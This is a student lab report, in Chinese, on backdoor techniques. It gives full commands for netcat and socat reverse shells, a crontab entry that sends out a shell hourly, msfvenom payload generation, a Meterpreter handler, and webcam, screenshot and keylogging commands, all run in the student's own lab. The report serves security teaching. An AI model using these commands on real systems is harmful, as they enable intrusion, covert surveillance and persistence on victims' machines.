1.实验内容
本周继续课堂学习了缓冲区溢出的相关知识,面向本次实验,主要学习了后门程序的生成方法,用ncat、socat实现两台计算机间互传文件的方法,体会了通过msf工具与执行好的后门程序实现对被攻击计算机的监听过程。
1.1实验内容目录
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2实验要求
(1)例举你能想到的一个后门进入到你系统中的可能方式?
来历不明的u盘,网络上暗藏恶意的链接,邮件箱重不怀好意的钓鱼链接,主要目的即将后门软件装到目标计算机中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
windows中和linux中都可通过任务计划表定时启动某个后门软件,或者修改注册表启动项使后门软件在开机时自启动,或将相应payload写进正常的程序中,当程序被启动执行时即可随之启动。
Meterpreter有哪些给你映像深刻的功能?
实验中该工具能生成后门软件,并通过后门软件获取主机摄像头、屏幕、键盘等等敏感信息,能修改主机的文件,提高后门进程权限,对被攻击者产生很大的威胁。
(4)如何发现自己有系统有没有被安装后门?
启动杀毒软件进行检测————最简单高效
查看系统进程中是否存在可疑进程
定时查看系统日志,寻找异常登录尝试、未知服务启动或异常系统调用。
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
2.1.1查看主机与虚拟机的ipv4地址
在windows主机命令行中输入ipconfig
,由图可知主机ip为192.168.1.110
在linux虚拟机命令行中输入ifconfig
,由图可知虚拟机ipv4地址为192.168.56.103
2.1.2使用netcat在主机监听2319端口,操作linux的Shell
在windows主机命令行中输入ncat.exe -l -p 2319
,来监听2319端口的信息,其中ncat.exe表示netcat程序,-l表示进行监听,-p 2319表示端口2319,回车后如图,且等待linux虚拟机的操作
在linux虚拟机命令行中输入nc 192.168.1.110 2319 -e /bin/sh
,来连接目标主机的端口,使主机执行linux虚拟机上的Shell,其中nc表示netcat,192.168.1.110即目标主机的ip地址,2319是目标主机的目标端口,-e表示执行,/bin/sh即linux系统中标准Shell的位置,回车后主机命令行即可操作Shell,执行结果如下图
2.1.3使用cron启动定时项目,在windows主机中执行Shell
(1)cron任务一
在linux虚拟机命令行中输入crontab -e
,
并在时程表中写入28 * * * * /bin/netcat 192.168.1.110 2319 -e /bin/sh
,表示在每个小时的28分向目标主机192.168.1.110的2319端口提供linux的Shell。然后输入:wq
保存退出
未到相应时间(28分)前保持windows主机处于监听2319端口的状态,此时无论输入什么主机命令行中都不会有反应,直到28的到来,主机即可操作linux虚拟机中的Shell。
(2)cron任务二
此时打开路径/var/spool/cron/crontabs,可发现该目录下存在一个名为root的文件,
使用vi root
打开可见我们之前向其中添加的时程表任务,说明我们设定好的时程表任务是属于root用户的。然后记得:wq
退出。
再于windows命令行(仍在操作linux虚拟机的Shell时)中输入echo "* * * * * echo "20222319zzs" > /home/20222319zzs/Desktop/20222319zzs.txt" > /var/spool/cron/crontabs/root
,直接设置一个每分钟执行一次的任务。使用crontab -l
可以查看目前的时程表任务,如图所示,当前任务已被写入。
2.2使用socat获取主机操作Shell, 任务计划启动
2.2.1通过socat执行主机的cmd程序
从附件中下载好socat软件后,
在windows主机中socat文件的目录下打开命令行,输入socat.exe tcp-listen:2319 exec:cmd.exe,pty,stderr
socat.exe 表示在windows中执行该程序
tcp-listen:2319 这部分指定了 socat 要监听的TCP端口
exec: 这部分指定了当有连接到达时 socat 需要执行的命令
cmd.exe 是Windows的命令行解释器
pty:这个选项告诉 socat 为 cmd.exe 分配一个伪终端
stderr:这个选项指示 socat 将 cmd.exe 的标准错误流也转发给连接的客户端
然后在虚拟机中命令行中输入socat - tcp:192.168.1.110:2319
,即可进入windows主机的cmd命令行中,可执行相应的cmd操作
2.2.2在windows主机中编写一个exe程序
我的程序源码、相关文件、文本初始内容如图所示
在该程序主要用于将系统时间与字符串以追加模式写入文本20222319zzs.txt中。
2.2.3在虚拟机中通过windows的任务计划程序创建启动一个windows任务
在虚拟机中成功挟持了windows的cmd程序的linux命令行输入chcp 65001
修改输出字符的编码方式,将乱码变为可读
再输入schtasks /create /sc minute /mo 1 /tn “20222319zzs_socat” /tr E:\CS\CSex2.exe
使得每分钟都调用一次CSex2.exe程序,向目标文档写入内容,
命令行反馈如下,任务计划中出现20222319zzs_socat任务,如图则任务写入成功
2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
2.3.1在虚拟机端生成后门文件
首先在虚拟机命令行中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=2319 -f exe > 20222319BackDoor.exe
msfvenom ——这是Metasploit框架中的一个工具,用于生成恶意可执行文件即payload
-p windows/meterpreter/reverse_tcp windows ——表示目标操作系统,meterpreter 是一种payload,reverse_tcp 表示连接类型为反向tcp连接
LHOST=192.168.56.103 ——监听器的主机地址为192.168.56.103,即攻击者的ip
LPORT=2319 ——监听器的目标端口号为2319,即攻击者的端口
-f exe ——表示最后生成一个exe文件
2.3.2通过ncat将后门文件传输至windows主机端
在主机中进入ncat软件所在目录下,进入命令行程序,输入ncat.exe -lv 2319 > "E:\CS\EX2\20222319BackDoor.exe"
,让windows的netcat监听2319端口并等待接受后门文件
在虚拟机中打开linux命令行,输入nc 192.168.1.110 2319 < 20222319BackDoor.exe
如图则传输成功。
2.3.3运行msf工具,执行后门文件,获取主机Shell
在虚拟机linux命令行中输入msfconsole
进入msf控制台
依次输入以下指令
use exploit/multi/handler
设置一个能够处理多种类型的payload的监听器(handler),用于处理传入连接set payload windows/meterpreter/reverse_tcp
使用名为reverse_tcp的payload来建立会话,该payload会让目标系统反向连接回攻击者的机器。该payload针对的是windows的系统。set LHOST 192.168.56.103
攻击者的ip,用于收取监听数据set LPORT 2319
攻击者的端口exploit
开始监听
然后马上在windows主机上执行后门文件,要么在命令行里后门文件所在目录下输入.\20222319BackDoor.exe
,要么直接在文件夹里双击运行
即可实现虚拟机获取主机的Shell
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
2.4.1使用msf获取目标主机音频、摄像头、屏幕与击键记录的后门
在2.3的基础上,依次执行下述指令,顺利获取了屏幕截图与电脑摄像头照片,
音频信息未成功是因为本台电脑并无相应的录音硬件,结果是正常的。
record_mic
获取音频信息
screenshot
立刻截屏并获取截屏照片
webcam_snap
立刻使用摄像头拍照并获取图片
通过以下指令,成功获取攻击目标的键盘使用记录
keyscan_start
获取击键记录(开始)
keyscan_dump
获取击键记录(结束)
2.4.2尝试提升攻击者在目标主机里的权限
在虚拟机msf界面里输入getuid
,得到当前用户名DESKTOP-1N5KFG6\曾德帅
再输入getsystem
尝试提升该用户的权限,结果超时,提权失败。
在输入getprivs
可以查看当前进程所拥有的权限
可见,当前进程拥有
更改通知权限(SeChangeNotifyPrivilege)
增加工作集权限(SeIncreaseWorkingSetPrivilege)
关机权限(SeShutdownPrivilege)
时区权限(SeTimeZonePrivilege)
弹出权限(SeUndockPrivilege)
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在虚拟机linux命令行里输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHoST=192.168.56.103 LPORT=2319 -x /home/20222319zzs/Desktop/pwn_EX2 -f elf > pwn_ex2
生成一份针对Linux平台上的反向TCP meterpreter payload,并将其注入到pwn_EX2中,生成一份新的pwn_ex2文件。
打开另一个终端,输入msfconsole
进入msf控制台,
依次输入以下指令,与2.3大致相同,有一处改变
use exploit/multi/handler
设置一个能够处理多种类型的payload的监听器(handler),用于处理传入连接set payload linux/x86/meterpreter/reverse_tcp
使用名为reverse_tcp的payload来建立会话,该payload会让目标系统反向连接回攻击者的机器。该payload针对的是linux的x86_64系统。set LHOST 192.168.56.103
攻击者的ip,用于收取监听数据set LPORT 2319
攻击者的端口exploit
开始监听
然后需要在前一个终端输入chmod a+x ./pwn_20222319ex2
为新生成的文件赋予执行权限
输入./pwn_20222319ex2
执行该文件,运行payload。
最终成功获取反弹连接Shell。
3.问题及解决方案
- 问题1:时程表中设定每分钟向linux桌面以文本输入字符串,但三分钟过去文本毫无变化
问题1解决方案:重启kali虚拟机,即可看见一条写入记录,因为新一条会持续覆盖旧的一条字符串。可能在虚拟机中时程表的内容需要重启才能开始执行。
- 问题2:在通过socat获取主机Shell中,输入指令
socat.exe tcp-listen:2319 exec:cmd.exe,pty,stderr
报错如下。
问题2解决方案:这一问题发生在第二次进行实验时,在第一次实验中我使用的是实验附件所给的socat安装包,并未报这一错误,但在第二次进行实验时由于网络ip的变化我选择重做实验,便发生了这一报错,于是我又重新安装了一次socat,但还是一样报错。
然后我看其反馈内容显示不能计算 FAST_CWD 指针,网上资料显示最可能是cygwin版本过低,但我在下载好最新版cygwin安装包安装后并没有解决这一问题。
最终我是通过同学找到的另外一份socat安装包,将其安装覆盖原来的socat再进行实验后才解决了这一问题。安装包网址为https://github.com/tech128/socat-1.7.3.0-windows
- 问题3:crontab定时任务自动不能执行,手动可以执行
问题3解决方案:crontab的执行和系统的环境变量有关系的。发现脚本中需要添加必要的环境变量才可以使脚本自动执行,具体可以参考这篇文章,因为我也不是很懂https://blog.csdn.net/xingyue0422/article/details/83012000
- 问题4:msf在进行监听时返回Meterpreter session 6 is not valid and will be closed,如图
问题4解决方案:该问题原因出在我对于生成反tcp payload的代码并未真正掌握,windows系统与linux系统的指令混用了,后门程序放在windows里就用针对windows的payload格式指令,放在linux就用linux的payload格式指令
4.学习感悟、思考等
经过本次实验,我基本上掌握了通过后门软件获取主机权限的原理,切实体会到黑客获取被攻击者文件、屏幕、摄像头、键盘输入记录等敏感信息内容权限的具体方案。实际上,msf作为集成了渗透测试全流程的渗透工具,本实验中其获取主机后门权限后即可在msf控制台中输入相关简短指令就能实现各种各样的攻击,我所用到的指令仅仅一小部分,可想而知msf在渗透测试中该有多全面而强大了。
并且,进行实验时最让人难受的就是刚刚通过后门软件获取主机Shell,劫持了屏幕权限并成功截图,正准备测试其他权限时,后门软件转眼间就被360消灭了,因为我设置杀毒软件下线1小时来保证我的实验环境,结果实际上实验耗时不止1小时。本实验中后门软件我是通过ncat进行传输的,实际上防火墙并未对这一传输进行拦截,只有杀毒软件在第一时间检测到后门软件的存在,并立刻查杀。因此杀毒软件在日常生活中是相当有必要安装,就算一年中364天都闲置那也是可以接受,我们只需要他能在那唯一的一天成功查杀入侵如我们计算机的病毒,作为杀毒软件,其意义便实现了。
此外,我在查阅网络资料解决实验中遇到的问题时,深刻体会到后门技术是一把利器,可以保家卫国,亦可违法犯罪,使用者必须守正本心、遵纪守法、慎重使用。
参考资料
- 【工具使用】——Metasploit(MSF)使用详解(超详细)
- crontab定时任务自动不能执行,手动可以执行的解决办法-亲测解决
- 0x21_MAL_后门原理与实践.md
- Marco Atzeri - 回复:WG:Windows 10 / 无法计算FAST_CWD指针